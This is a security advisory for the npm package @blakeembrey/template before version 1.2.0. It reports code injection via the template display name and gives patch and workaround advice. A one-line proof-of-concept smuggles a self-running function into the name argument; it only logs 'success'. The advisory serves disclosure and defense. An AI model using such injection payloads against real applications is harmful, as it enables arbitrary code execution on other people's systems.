GHSA-q765-wm9j-66qj
@blakeembrey/template vulnerable to code injection when attacker controls template input
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| npm | @blakeembrey/template | < 1.2.0 | 1.2.0 |
Details
As written in the advisory (Markdown source, shown as plain text).
### Impact
It is possible to inject and run code within the template if the attacker has access to write the template name.
```js
const { template } = require('@blakeembrey/template');
template("Hello {{name}}!", "exploit() {} && ((()=>{ console.log('success'); })()) && function pwned");
```
### Patches
Upgrade to 1.2.0.
### Workarounds
Don't pass untrusted input as the template display name, or don't use the display name feature.
### References
Fixed by removing in https://github.com/blakeembrey/js-template/commit/b8d9aa999e464816c6cfb14acd1ad0f5d1e335aa.
References
External links from the advisory. They lead to third-party sites.